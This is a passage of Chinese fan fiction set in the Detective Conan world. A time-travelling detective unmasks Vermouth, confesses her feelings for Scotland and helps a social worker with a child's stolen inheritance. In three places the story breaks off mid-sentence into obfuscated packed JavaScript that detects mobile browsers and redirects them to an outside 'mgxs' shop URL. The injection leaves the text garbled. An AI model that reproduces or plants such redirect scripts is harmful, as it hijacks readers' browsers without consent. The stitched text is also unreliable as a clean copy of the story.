l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304449|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我倒不介意，用别的方式，报~答~” 好离谱。流川玄奈的脸色非常难看，她很介意，现在只想把这个人连人带领带一起扔出房间。 她正要拒绝，却看见本部礼耸耸肩，那张脸上还挂着同样的笑意，却莫名变得爽朗：“算啦，我看得出，你有喜欢的人。” 诶？ 流川玄奈一愣，下意识想要反驳：“你想多了——” “一定是苏格兰吧？” 两人同时转头，是一旁的诸伏景光，他的嘴角微微上扬，眼底带着淡淡笑意。 “景，景光，你怎么知道这个名字？” 说出的话变得不利索。 “玄奈姐平时在沙发上睡着总是说梦话，喊得不是苏格兰就是光……玄奈姐第一次见到我，也把我叫成这个名字。” “这，这样啊……” 她完全不知道。 流川玄奈刚想解释，又见诸伏景光眨了眨眼，自顾自地背起书包，贴心地补充道：“时间差不多了，我自己就可以去和小操见面，玄奈姐专心忙案子吧，不用担心我。” 他前脚离开，诸伏高明就跟了出去。 案件已经解决，在恋爱的话题上他帮不了忙。 他虽然很好奇流川玄奈每天晚上呢喃的苏格兰到底是谁。但很显然，流川玄奈现在并不想再他和景光面前说起。即使是家人也要有边界感。 也许，这位看起来很特别的男明星可以帮忙。 诸伏高明在约定的地点，将发生的事情，自己的想法，如实同大和敢助说了一遍，得到对方的大力赞成。 “有意思，一边破案子一边还能得到情感咨询。 “敢助，你也这么觉得是吧？” 两人在这个话题上居然达成一致。 相比起已经玩在一起的诸伏景光和山村操，同龄上原由衣还是更关心这边的话题，她看着这两人实在是无奈。 “……男子高中生全是笨蛋吧。” “怎么了吗？” 上原由衣倒吸了口气：“那个男人很不靠谱，却很会骗人感情，不是吗？要是玄奈姐看上那个男人怎么办？！” —— 与此同时， 侦探事务所内相当安静， 流川玄奈揉了揉眉心，回过神来看向本部礼，她确实好奇：“你为什么这么说？” 从侦探的角度复盘刚刚短暂的相处，流川玄奈认为自己没有暴露任何有关喜欢的对象的信息。 本部礼神秘地笑了，手指轻轻敲了敲下巴，挑眉补充道：“秘密。” “这是我作为明星的特殊能力。” ……不愧是演员，愚蠢，蛮横，尖锐，谜语人，到底哪一面才是对方的真实面目？ 流川玄奈对这类说话拐弯抹角的人不感兴趣，正要起身送客，对面的男星又突然挑衅道：“你不是名侦探吗？看来能力也不过如此嘛。” 他歪了歪头，眼神意味深长，“苏格兰……这个名字很有趣。我还能猜到更多。” “是我曾经的搭档，”违和感越来越重，流川玄奈硬着头皮继续编造着，“听名字就知道啦，她是一个外国人。” “流川小姐似乎见过很多外国人？” “对的，”她还记得自己明面上的身份，“我自己其实就是归国子女。” “哇哦……这样看来，流川侦探倒是很贴合西方电影里常有的角色——能力卓越被刻意派到其他国家执行任务的FBI特工。” FBI啊……流川玄奈猛地反应过来， 刚刚那三个外国人——所谓的勒索犯嫌疑人，那几张照片，她分析出的那个犯人的违和感，日语水平优越，熟悉各种场所，短时间内迅速升职，还有其他线索…… 也就是说，她刚刚推理出的对象，不止有作案的能力，也有着是FBI的嫌疑。 再回想她穿越后以侦探身份接触的第一起案子，以及见到这位男明星时的既视感——他身上唯一一件不是名牌的东西就是那个帆布包，那是外国人友好大会的伴手礼。 而在之前的外国人连环遇害案中，有一位FBI探员就是用相似的帆布包留下了信息——直指乌丸莲耶的信息。 流川玄奈克制着，用余光确认了男星携带的帆布包。果然，一模一样。这会不会是FBI之间的暗号。既然如此，这个男人也是FBI？ …… 不，FBI不会把同伴的信息甩在面前让她帮忙筛选。 这样打扮精致，把秘密挂在嘴边，随时变换着演技，不知不觉利用他人的作风——流川玄奈其实很熟悉。 突如其来的寒意瞬间袭遍全身，随之而来的还有后知后觉的无力感。 ……她脱离组织太久了，在安逸中松懈，以至于被组织成员找上门还没反应过来。 26.冬日月夜 眼前的贝尔摩德，还没有服下经由宫野夫妇研究改良的新药物。 流川玄奈垂下眼复盘，组织最近应该另有要务才对。她与宫野夫妇仅仅见过两次，也留意了每一个监视宫野一家的基层组织成员…… 再说，宫野诊所每天都要接待那么多病患，组织怎么会怀疑到她身上？ “外国人的身份办理很不容易吧？” 贝尔摩德扮演的男明星忽然开口。 身份办理！流川玄奈微微睁大了眼，她险些忘记了，自己现在的身份是按穿越前的记忆，走了组织的关系伪造的。 ……不过，组织里不少人都有着这样的业务。像她一样的客户并不在少数。仅凭这一点，值得出动贝尔摩德这种级别的干部？ 在思考出结果前，流川玄奈需要先接上对方的对话：“是啊，深有体会。” 贝尔摩德这个时候变装已经算得上顶尖，但比起十六年后显然不够看。破绽并不少——流川玄奈刚刚还险些误以为这是个做过变性手术的男星。 除此之外，眼前的贝尔摩德和流川玄奈所认识的没什么不同。 正因为熟知对方的个性，领教过很多次，流川玄奈反而稍微安下心来。 如果组织真的怀疑她与什么敌对势力有关联，派来的绝不会是贝尔摩德。 她大概只是顺路，在调查FBI的间隙，顺道拜访一下最近声名鹊起的流川侦探事务所。 流川玄奈按下打探的心思，从前在组织里，她的话语就常被误解为挑衅。现在还是收敛些更为保险。 “您的委托已经结束了，我还有别的事情要处理，可以请你先离开吗，本部先生。” 贝尔摩德暧昧地笑了笑，随即起身，那只帆布包不经意地在流川玄奈眼前晃了晃。她一向喜欢用这种漫不经心的暗示试探着目标。 流川玄奈了解这一点，她的目光没有多停留一秒，面色平静地目送她离开。 脚步声远去，靠在门边上的流川玄奈松了口气，她正要开门——和贝尔摩徳离开相同的方向，一个高挑瘦削的身影走了过来，正是诸伏高明，他的神色相当微妙。 流川玄奈疑惑：“怎么了？” 没等开口，紧随其后的上原由衣探出头来，她似乎很激动：“刚刚出去的那个男人就是高明你说的，在牛郎店工作的男明星？！也太帅了吧！” 一旁的大和敢助露出一脸嫌弃：“搞什么啊由衣，你催我们过来的时候可不是这样。说是——” 上原由衣：“那是你们两个描述有问题，把一眼看穿玄奈姐心事的美男子描述成危险的变态。对了，玄奈姐是怎么想的？” “我？” 流川玄奈想了想，斟酌着答道：“那个人只是委托人而已。他确实值得小心——” “没错，毕竟是在那种场所工作的家伙。流川，不错嘛，没有像笨蛋由衣一样沦陷于美色，我看好你。” 连大和敢助也这样……流川玄奈相当无奈，要怪就怪贝尔摩德没事提起苏格兰，连带着眼前这些人都开始关心她的感情生活。 流川玄奈摆了摆手：“放心，你们想多了。我真的没有结婚的打算。” “你迟早会结婚吧？” 见大和敢助一脸理所当然，流川玄奈不由得抽了抽嘴角，这家伙明明是个高中生，说这种话一下子不可爱了。 这果然就是时代的差异吧？ 说起来，穿越前的她和诸伏景光同龄，诸伏高明和大和敢助其实是比她大六岁的“老一代”。 近几十年整个日本变化迅速，昭和平成年代更替，差距六年就可能在完全不同的环境下生长，各种观念完全不同，他们这代人会觉得结婚生子是人生必经之路…… 流川玄奈正感慨着，这种“给比自己大的人当长辈”所带来的思想碰撞叫人百感交集。这时，跟在诸伏景光身边，一个单薄瘦弱的尖嘴男孩急匆匆地冲了过来。 看年龄，想必他就是群马县的小操，诸伏景光在离开长野前就认识的朋友。 “初次见面，流川侦探！听说你刚刚又破了一起案子！我是和小景约定了长大后要一起成为正义伙伴的山村操！可以告诉我案件的事情吗？” 正义的伙伴？是指当警察吗？所谓人不可貌相，流川玄奈当然是像正常家长一样露出温和的笑容，招呼着他们几个进来。 长野的冬天是很冷的。 诸伏高明摆摆手，他和敢助由衣有约。而山村操倒是想进来参观，一进门，脚下一滑，哇的一声，整个人直直向前扑过去。 流川玄奈眼疾手快，一把抓住他的后领拽了回来。 “好厉害！这就是名侦探吗！”山村操站稳后，一脸崇拜，“流川侦探！请让我跟着你学习侦探的本领吧！” 他一边说着，一边激动地向前，沾着雪水的鞋子踩到新换地毯的边缘，险些又摔了一跤。 “我，我只是想看看这个地毯……”山村操顺势蹲下，清了清嗓子：“这花纹，肯定是古董，一定是前段时间那起家具店偷窃案，店老板赠送给您的吧！” 大和敢助挑了挑眉：“哟，你做了功课啊，居然知道是流川破了那起案子。” 诸伏高明也笑着接道：“不过很可惜，这件是假货。” “这个花纹我家里可是有类似的，这绝对是江户时期的东西，流川侦探，我说的没错吧？”山村操得意极了，他看向流川玄奈。 流川玄奈笑着摇头。 山村操一脸不可置信：“他肯定是提前知道了！他是小光的哥哥，你的侄子，他当然知道了。” “我并不知道，”诸伏高明没有和弟弟的朋友计较的意思，从容不迫地俯身解释：“这个切口，是检测过的痕迹，此外，真正的古董并不会随便摆在地上。” 大和敢助毫无风度地补刀道：“是啦，你还小，想和高明的脑子比，再多读十年书吧！” 山村操瞪大了眼，吓得流川玄奈以为他要哭了，结果这家伙硬是憋了回去，精神抖擞地看向她：“可恶，流川侦探，请给我一个公平和小光的哥哥竞争的机会，我也想当你的助理！” ？？？ 怎么突然变成争她助理的位子的事情？ 流川玄奈搞不懂小朋友的脑回路，继续维持笑容，迅速答道：“不用比啦。” 山村操肉眼可见地蔫了下去，另外几人倒是觉得意料之中，却听到流川玄奈补充道，“助理又不是只能有一个，你到假期想来随时都可以来！” “诶？！！！” 看着那边三人组的惊讶，流川玄奈倒觉得还好，虽然山村操看起来哪里怪怪的，但毕竟是诸伏景光的朋友，说不定未来也是很优秀的警察。 原先各人的计划都被打乱， 窗外的雪花越落越密，三个小学生呆在房间里玩着新款桌游，两个高中生则在另一旁，交流着假期作业，上午的时间过得很快。 临近中午，大和敢助第一个离开，他要去趟少年刑务所，看望因为同啄木鸟会做枪支交易而入狱的发小。 流川玄奈也有事情，恰巧与他同路。 冷风卷着雪花挤进外套，是因为全球变暖还没怎么进行吗？这个冬天比流川玄奈过去经历的要冷多了，似乎不得不说点什么转移注意力。 大和敢助先开口了，他还在想刚才的事情：“真搞不懂，你为什么会选择那个小子当助手啊？” “不要小瞧年龄比自己小的人哦。” 大和敢助有些好奇：“你今天似乎心情不错？” “看到你们几个享受假期，我也能感到开心，”流川玄奈实话实说，“如果没有回到长野，诸伏景光说不定就会错过山村操这个朋友吧？” “你说的句式……” “怎么了？” “听起来就像你亲眼见过未来一样——”大和敢助笑着说完，只当自己随口开个玩笑，没想到流川玄奈真的愣了一下。 天好像聊死了……两个人几乎是同时选择转移话题。 大和敢助先一步开口：“对了，说到朋友，流川你是一个人来日本的吗？” 这个话题，要是由衣在场也会夸他真是天才！毕竟，怎么可能有人没有朋友…… …… “搞什么啊，流川，你没有朋友吗？” “……你和由衣算吗？” “……” 流川玄奈确实没有，在这个时代没有。 这段时间的经历同过去的生活大不相同，偶尔的细节都在提醒着她。 那是一种奇怪的感受，像是站在人群里，却始终隔着一点看不见的距离。 和这个时代格格不入的孤独感。 她斟酌着说了自己的感受。 大和敢助沉默许久，感慨道：“你和高明其实挺像的。” “我像他？” “只是你刚刚的样子有点像而已，”大和敢助顿了顿，语气变得认真：“自从父母离世后，那家伙就总是这样，最近倒是明显好转了……我想也有你的功劳在里面。” —— 两人在少年刑务所外分开，流川玄奈在拐角处见到约定的，来自MI6的线人。 真是意料之外情理之中，宫野艾莲娜和MI6居然也有关系，他们非常迅速地离开日本。组织在那边的势力并不算强大，至少未来几年内他们是安全的。 流川玄奈把今天遇到贝尔摩徳的事情详细告知了宫野夫妇。保险起见，这会是他们最后一次联系。 之后，如有必要，她会想办法自己去趟英国。 电话那端沉默了一会儿，然后是宫野艾莲娜的声音，复杂的温和：“对了，关于APTX-4869，你之前提到的那个问题— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320723|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —时间悖论。” 流川玄奈握紧话筒。 宫野夫妇因为她的出现，不再为组织工作，也因此，组织未来不会再研发出能让人穿越时空的药物。也就是说—— “既然你已经阻止了我们，14年后的你就不可能再进行穿越，我们也不可能会有现在的通讯，但它确实已经发生了。” 用外行人的说法，大概就是：现在的这个世界，相对于流川玄奈穿越前的那个，已经是一个全新的、完全独立的存在了。 未来的一切都会因为她而改变，她认识的那个苏格兰大概，也不会再出现了。 …… 相比于外面的冷风，屋内要温暖许多。推开家门时，是让人感到安心的安静。 诸伏景光已经自己乖乖回房间睡着了。 太过温暖的环境让人发晕，流川玄奈转而走向阳台——诸伏高明刚好在那里，他似乎在看着什么。 月光落在他的脸上，那张清俊的脸相当文雅，本就和苏格兰相似的眼眸格外专注。再加上假期里留下的胡茬——这是上次舞台剧时流川玄奈给的提议，他出于礼貌打算在假期尝试几天。 流川玄奈的目的已经达到了。现在的诸伏高明，加上胡茬，简直是苏格兰本人都要惊讶的程度……流川玄奈本来满脑子就都是苏格兰的事，这会儿自然是直接惊呼出声。 诸伏高明有些无奈，眉毛微微蹙起，“苏格兰到底是谁啊……抱歉。” “没有关系，”她望着夜空，声音比想象中平静，“只是一个见不到面的朋友。我想我是喜欢他的。” 流川玄奈决定承认——她发现最近围绕苏格兰的话题太多了。既然她晚上睡觉都在提苏格兰，瞒下去也没意思，让他们担心，不如直接说清楚。 “我大概再也见不到他了。我也已经在接受这个事实了。” 苏格兰会变成另一个他。对其他任何人来说都仍然是他。他影响着周围的人，从东京的诸伏景光变成长野的诸伏景光，对他来说也依然是他自己。 但对推动这一切的流川玄奈来说，就像是同一时间同一个地点飘落的两片叶子，似是而非。 她喜欢的，只是穿越前，那个再也见不到的诸伏景光。 “憾事常存……” 流川玄奈只是随口的感慨，诸伏高明却突然轻声接道：“憾事常存，不过古今同源。千载轮回，终当重逢，不必戚戚。” “这是那本书里的——你把那女人的书都看完了？！” 见到流川玄奈难得这么惊讶，诸伏高明连忙解释：“我刚刚想说的是，那本书的观点实在让人难以苟同。” “你也这么想啊。”流川玄奈收敛了刚才的惊讶，很是感慨，她买了那女人所有的书，放在书架上最显眼的地方，并不是因为多喜欢，而是想以此提醒自己罢了。 她如今很讨厌那本书的一切。 历史其实没有必然方向，历史不过是客观条件的走向，历史是权力的叙述。 那本书的观点比上述任何一个都要离经叛道。 那位着了魔的学者发疯似地提出了带有迷信色彩的观点：历史，只是同一群人的循环。 最初之人的特质通过血缘传递后代，后代与先祖，本质上也不过是同一个人。即使是复数的后代与复数的先祖，也遵循同理。 围绕着这点，那本书里还有一大套胡诌自洽的理论体系，流川玄奈不想多想。 这套书只放在事务所没带回家里，就是担心诸伏高明被蒙蔽。流川玄奈太清楚自己母亲的那些招数，利用对古代文学的了解，用华丽的辞藻粉饰自己的那些垃圾。 她颇为庆幸：“高明，你能保持清醒很好。这样简直是垃圾的书……所谓的能够重逢，不过是自我欺骗的谎言。我认为是对于逝者与历史真正的不尊重，还有……” 她在用些客观的语词缓解自己混乱的情绪。 “既定的关于逝者的事实无法挽回，不如换个角度，玄奈小姐。” 诸伏高明又一次突然开口，明明比她小十岁，说出的话缓慢而坚定。是因为这张和苏格兰相似的脸吗？她愿意听他的看法。 “你接触过他，他改变了玄奈小姐很多，那么你就是他存在过的证明，”诸伏高明看着她，缓缓说出自己的想法，“我想，过得幸福的玄奈小姐，就是那位苏格兰如果还活着的话最想看到的。” 如果苏格兰还活着，他也是这么想的吗…… 顺着诸伏高明的话，流川玄奈愣在原地，心头涌上的暖意掺着复杂的情绪。 她回过神，现在再看眼前的男高中生，却是和记忆里的苏格兰完全不一样。青涩的脸庞，来自亲人的关心神情……给人的感觉像月亮一样。 “……谢谢你，”流川玄奈叹了口气。 “高明，要是我能早点认识你就好了。” 27.修学旅行的建议 【致，亲爱的苏格兰，】 【时间飞逝，好久不见，】 流川玄奈靠在桌前，写字的手顿了顿，被这段老套开头逗笑，她没怎么讲究结构主次，随意写着—— 【昨天在辅导景光完成写信的家庭作业，我想，也许是时候该给你写一封信。】 【我们那时一起发现的药物，它确实有着试验记录里功效……可惜我没有找对方法，本来只打算穿越到五个小时前，没想到来到了这个时代。】 【我好像总是这样，在临门一脚的时候搞错方向。】 【这里的生活对我来说很新奇，通讯方式，物价，教育都和我记忆里不大一样……时间过得真的很快，新的学年啊……】 【诸伏景光，我应该还算把你养得不错吧？】 她满意地停下，想了想，又补充了几句。 【你哥哥让我感到很意外——他说出了和你一样的话，给人的感觉却完全不一样，我一开始还误以为他和你相似，穿越前没有机会认识他，实在是遗憾。】 【你曾经很关心的，我和我母亲之间的事情，我所谓的理想，在这个时代，我遇到了新的讨论这些的机会。】 【脱离了组织，不再需要过那样匆忙又充满压力的生活，我好像终于有更多时间可以去思考这些。】 【这样的机会，果然也多亏了你。你哪怕逃到了另一个世界都在帮助着我。而我能为你做的又有什么呢？】 【抱歉，没能穿越到更早的时候救下你的父母。抱歉，伪装成你的亲戚接近你，擅自干扰你的生活……大概也没有机会亲口和你说这些了吧？】 【我真的，很想再见你一次。】 —— 流川玄奈合上笔记本，每次写着写着总会转变成这样的结尾。 宫野艾莲娜曾经提醒过她，药物增强的执念难免会有副作用，建议她停下做这样反复回忆苏格兰的事。 不过，每次想起苏格兰，流川玄奈倒是觉得是另一种可能，和药物无关，她自己的执念本就如此。 窗外，樱花盛开的4月。从这一周开始，高明正式升入高二，景光也迎来四年级的第一周。 今天也是儿童相谈所的人约定要来访查的日子。 收养诸伏兄弟后，她主要需要应对的有三位，首先是家庭法院的调查官，负责审核她是否具备收养资格和能力。这位在收养程序之前就已经解决了。 接着，法院有必要的情况下，会指派监督监护人。监督监护人顾名思义，负责监督作为监护人的流川玄奈是否正常履行职责，防止监护人滥用权力或侵吞财产，尤其是关于遗产这一部分。 流川玄奈是遗产方面的专家。未成年人的保险、信托、存折该如何处理，她没有疏漏地全部打理清楚。因此，那位监督监护人来过一次之后，便相当满意地离开了。 最后，就是今天这位，来自儿童相谈所的心理辅导。这是今年实行的新规定，儿童相谈所的心理司会对其认为需要的家庭直接介入。 考虑到诸伏景光过往的情况加上收养这一条，他们家被划入第一批需要关注的范围内。 不过，官方发的公告是一回事，实际上执行是另一回事。上门的并不是想象中穿着白大褂或者其他职业装的心理医生，而是位年纪不大，化着不合适的温柔妆容的长发女性。 “初次见面，我是儿童相谈所派来的社会福利工作者孫崎香织，您想必就是流川小姐吧？” 流川玄奈有些意外，还是礼貌地点头，说着早就想好的客套话拉着人家进来。 泡茶，寒暄，接着就是填写问卷，询问景光问题。 …… “景光看起来恢复得很好，”孫崎香织的语气相当温和，“不过从我们的评估来看，还是存在一些潜在的风险。” 孫崎香织开口：“景光看起来恢复得很好，但从我们的评估来看，还有一些潜在的心理问题需要关注。” 流川玄奈也清楚这一点：“是的，他目前语言能力已经恢复，但在特定情境下，仍然会出现应激性言语阻滞……” 孫崎香织认真地看着她听完，有些好奇：“您为了这孩子特意读过相关资料？” “算是了解一些。” “那您应该也知道，理论上的分类和现实中的表现，往往不是一一对应的。” 她稍微停顿了一下，“有些孩子，看起来恢复得很好，实际上只是形成了较强的代偿机制。他们学会规避触发情境，控制表达……这离真正意义上的康复还有差距，更像是患者为了他人，学会了如何掩饰。” 流川玄奈微微一愣，这个社区服务者比她想得要专业多了。 “您继续说。” 孫崎香织打开笔记本，想了想，道：“我想确认一下——你们平时相处，是不是比较少出现分歧？” “比如，他几乎不会主动表达不满，您也很少对他提出强烈的要求？” “……完全准确。” 流川玄奈回忆着过往相处种种：“这对他的心理健康也会有影响吗？” “这种互动模式在短期内是有保护作用的，但长期相处还维持这个模式，会模糊孩子对于家庭关系安全性的判断。” “果然还是不像真正的家人啊……谢谢你，孫崎小姐，”流川玄奈叹了口气，感慨，“你来之前我都没想到这层，这大概就是当局者迷旁观者清吧？” “您不用客气，这是我的职责，今后我会和你们一起努力，持续跟进的，还请多多指教。” “啊，我这边才是，请多多指教。”两人略显慌乱地互相鞠躬后，孫崎香织正要继续说什么，突然一阵电话铃响起。 “抱歉，我处理一下。” 孫崎香织本来打算按掉，在看到来电人后神情变得微妙，她立刻接通。 ……通讯时间并不长，她挂断电话后，揉了揉眉心，向流川玄奈露出抱歉的笑容：“是我负责的另一家的孩子打来的，她母亲的遗产好像被监护人挪用了，手续看起来是合法的，但细节不对，” 她边说边翻开随身带的资料夹，“我对这方面的法律不太熟悉。” 流川玄奈没有打扰她，起身向书架走去——她很快带了本法典回来：“我记得应该是在民法八百条往后的位置吧？希望能帮上你的忙” 孫崎香织接过书，翻开查找，很快停在一页上……她抬头，感激地答谢着：“非常感谢，您真是细心。不过，这次的情况很蹊跷，恐怕还需要调查很久。抱歉，占用了您的时间，我们还是说回景光吧？” 流川玄奈语气自然：“我今天没有别的安排，并不着急。不介意的话，可以和我详细说说吗？” 孫崎香织略微一愣，随即立刻反应过来，这可是名侦探流川的咨询机会啊！平常那个价格可是连她听到都会肉痛的！现在居然有了白嫖的机会！ 孫崎香织迅速把详细信息通通说了一遍。 单亲家庭，母亲去世，监护人是孩子的舅舅…… 流川玄奈很快给出方案：“先确认对方是怎么挪用的，用什么名义，相关监督监护人情况，记得核实有没有其他亲属放弃继承的声明……最好调查一下孩子母亲现在的婚姻关系。虽然很麻烦，但务必不要省去。” 孫崎香织一一记下，她看着流川玄奈，眼里闪闪发光：“太厉害了，不愧是名侦探，我这就按您说的联系……对了，我之后还能来找您咨询吗？” 孫崎香织清楚自己的要求越界，但这种机会不争取就太不甘心了。不过，流川玄奈这种名气的侦探就算拒绝也理所当然。孫崎香织不抱有什么希望。 “在这件事情上，我可以无偿帮忙。” 诶？！ 流川玄奈很少做这样的慈善。这个时代确实有她喜欢的地方，远离互联网的杂乱，慢下来的生活节奏；但同样，也有她难以认同的一面陈旧的观念，滞后的制度，许多事情仍停留在灰色地带。 流川玄奈想了想，补充道：“不过，我平常主要都是处理案件。这件事的话，你最好联系法律援助。” 孫崎香织这才想起，连忙在流川玄奈的指导下补上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333768|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这一步。 “再次感谢您，原先棘手的事件一下子清晰多了，”孫崎香织忽然想到疑点，话题乱拐着：“对了，为什么要查孩子母亲婚姻的状况？她单身的事情在那一片是人尽皆知的。” 流川玄奈摇头。 这个时代信息不发达，户籍管理还在用纸质档案，跨县查询要靠邮寄。这种情况下，伪造一份亲属关系证明不是什么难事。流川玄奈对此相当了解。 她简短地分析了这起遗产被挪用背后的种种骇人可能。 孫崎香织听完，神色愈发复杂：“……原来如此，多亏了您。” 说着，她又再次露出歉意：“耽误了这么久，实在是不好意思。今天主要的目的，应该说回景光的情况。” 流川玄奈没有在意，反而笑着答道：“其实就和这个案子一样，外人反而看得更清楚。” “孫崎小姐，您之前分析的和我们家的情况很符合，我想问问看，你有什么建议？” 孫崎香织稍微整理了一下措辞：“从评估结果来看，你们目前的状态其实已经很好了。如果想要再改进的话，也有调整的办法。 我刚刚进门的时候，其实就有一种很明显的感觉。你们三位之间太过于客气了。互相礼貌成这样始终会隔着一段距离……” “并不是说您需要从今天开始一下子全然转变，而是可以先试着从小事做起，比如，适当的提出意见。” 流川玄奈反复咀嚼着这句话。 适当的……意见？ “高明，修学旅行的地点出来了吗？” 当晚，饭桌上，流川玄奈关心道。 诸伏景光笑着抢答道：“玄奈姐，是冲绳哦。听敢助哥跟由衣说他们会去很大的水族馆。” “哇，那是不是可以看到鲸鲨，真好呢。” “高明哥哥肯定又是和敢助哥一组吧？” “并不是。”诸伏高明只是简单地摇头，他的注意力在今天这顿格外丰盛的晚饭上。 不，与其说是丰盛，不如说是诸伏景光和流川玄奈会的所有菜系都在这里了。至于口味，参差不齐，他在斟酌着要不要提些建议。 这时，流川玄奈突然问道：“我也有些好奇，高明，你们班上是怎么分组的？” 流川玄奈平常很少主动开口关心这样的事情，诸伏高明有些奇怪，还是交代了班里分组的趣事。 另外两个人都觉得有趣，氛围相当融洽。 等他说完，流川玄奈突然清了清嗓子：“那个……我今天接到的案子，刚好也在冲绳。没有报酬，是很特别的案子。” 她顿了顿，目光落在桌面，“时间刚好和修学旅行撞了，我去冲绳的话，是不是不大好。” “怎么会，您多虑了，”诸伏高明见她不知道在犹豫什么，想了想，问道“您是有什么需要我在冲绳帮忙的吗？” “啊，不是的，我怎么能去打扰这么难得的修学旅行。” 流川玄奈脑海里全是孫崎香织的建议，她索性深吸一口气，直接说清楚：“我是在想，我去的话是不是不大好，万一偶遇了的话，会不会又影响了你在同学面前的形象啊？” 诸伏高明抽了抽嘴角，他尽量保持语气平稳：“玄奈小姐，你又不会粘着我，我也不需要你处处照顾。偶遇的概率，遇到案子被你盖过风头的概率都很小。再说，真发生了对我来说也没关系。上次文化祭不是已经见过我的同学吗？” “也是，哈哈，”流川玄奈干巴巴地笑了笑，她有点为找意见而找意见，“我其实是担心影响你在女同学面前的形象啦。” “？？？” 对，不要过于客气，不要到处找借口。直接说出想法，比较关心的意见，只要关心传递到了就行。 流川玄奈再次缓了口气，解释道：“高明，这次和那位女同学分到一组，你要好好把握哦。” “不要一脸吃惊地看着我，我好歹也是个名侦探，这次的分组，之前的书，啊，还有上次的文化祭的时候你就很在意她吧——无论如何，我支持你。” 28.冲绳 说完，流川玄奈端起碗，装作一脸若无其事。 在提出建议的同时，不能给诸伏高明太大的压力。她清楚恋情无疾而终，沉重的执念无处安放的感觉。她不希望诸伏高明也在感情的事情上留下和她一样的遗憾…… 在流川玄奈反复思量的时间里，诸伏高明很快也反应过来。不过是高二高中生的诸伏高明不得不开口解释，语气甚至有些着急：“玄奈小姐，你完全误会了。” 流川玄奈见他耳尖泛红，神情急切，反而以为自己说对了，便以过来人的姿态，模仿着那些得体开明的家长：“高明，你不用担心，我绝对不会反对你的。” 按照她对日本肤浅的了解，这个年龄段不去尝试恋爱，很可能之后都没有尝试的机会。 她穿越前的时代甚至有专门关于这方面的调查研究，大部分人都发现离开校园后合适的人并不好找……和小说中天降战胜青梅竹马不同，她认知的现实里，青梅竹马往往能走到最后。 对此，诸伏高明叹了口气，相当无奈地开始解释——之前的关注只是觉得那个女孩子格外聪明，以及文化祭上有对手戏…… “事在人为，如果遇到在意的人，我自己会做好准备的，玄奈小姐，我不至于连这种事情都要让你担心。” 这种情况下还能从容地引经据典，真不愧是诸伏高明。流川玄奈感慨着，他的解释听起来相当合理。 不过，流川玄奈自己也曾经面不改色地和波本他们胡编自己的和苏格兰之间的过往……总之，流川玄奈有些摸不着头脑。碍于景光在场，恋爱的话题似乎也不合适聊太多。 她好像又搞错了什么，擅自提出的建议弄得场面尴尬，流川玄奈只好干巴巴地笑了笑：“抱歉，我的建议实在是……吓到你了吧，高明？” 诸伏高明微微一愣，随即展露一个安抚性的笑：“怎么会，我反而很感谢你的关心。” —— 几日后，去往冲绳的航班如期而至。诸伏高明要参加四天三夜的修学旅行，而流川玄奈则选择在他出发前一天的凌晨先行启程。 这样一来刚好错开，诸伏景光每天放学回到家家里都有人……尽管那孩子一再表示不必麻烦他自己一个人可以，流川玄奈还是不敢掉以轻心。 这个时代的交通和她记忆里的差距不小，头一天晚上出发，还要算上火车的时间，从长野到冲绳居然得第二天上午才能到。 光是赶火车就足以消耗大半精力。流川玄奈靠在机舱座椅上，却没有多少睡意，思绪反而越飘越远。 这种机型解构还挺适合作为案发现场，所谓“飞天密室”就是这样吧？不过，她如果是犯人，绝对不会选择现在这班航班。 时间太晚，乘客过于少，作案会很明显。最好是白天，那种很多学生的吵闹环境，提供些混淆视听的干扰。 ……流川玄奈对自己的职业习惯相当无语，不可能哪里都是案件的。当然，脱离假想犯罪，她依旧停不下来。 思绪从即将接受的委托跳转到家里的两位，来来回回兜了几圈，直到飞机即将降落，她才在短暂的颠簸中浅睡了一会。 …… 为了掩盖黑眼圈，以及适应冲绳的夏日风光。流川玄奈换上简单的T恤，戴着墨镜，边打哈欠边在机场寻找方向——孫崎香织早就在这里等了，流川玄奈没什么行李，因此两人几乎没有耽搁，直接上车前往目的地。 车子驶上沿海公路，孫崎香织一边开车，一边熟练地介绍起沿途的风景：“对了，后座那个礼品袋里的全是给您准备的，机票的钱和一些景点门票。真是不好意思，为了这件案子，让您特地跑这么远。” 流川玄奈顺着她的话看过去，是一个小巧精致的礼袋，里面的券有效期还很长，她迅速收下，下次带景光来冲绳就可以用到了。 之前在校门口听别的家长介绍这里的时候就有这想法，全家一起的旅游一定很有意思。流川玄奈收回思绪，道：“恩，除此之外，额外的报酬就免了。” 孫崎香织从车内后视镜看到流川玄奈的神情变化，也笑着开口：“流川小姐也觉得冲绳不错吧？我就是冲绳人，关于旅游的问题都能问我。” “原来如此，谢谢你，”流川玄奈客套完，又有些好奇，“你既然是冲绳人，怎么会去长野工作？还要同时负责这么远的两个家庭……” “这个，说来话长，”孫崎香织尴尬地笑了笑：“比起冲绳，我更喜欢长野县的工作氛围。不过这次案子有关的柏木一家是我接待的第一个家庭，现在的监督监护人和心理顾问都不是我，但似乎并不称职……那孩子真的很可怜，我不能坐视不理。” 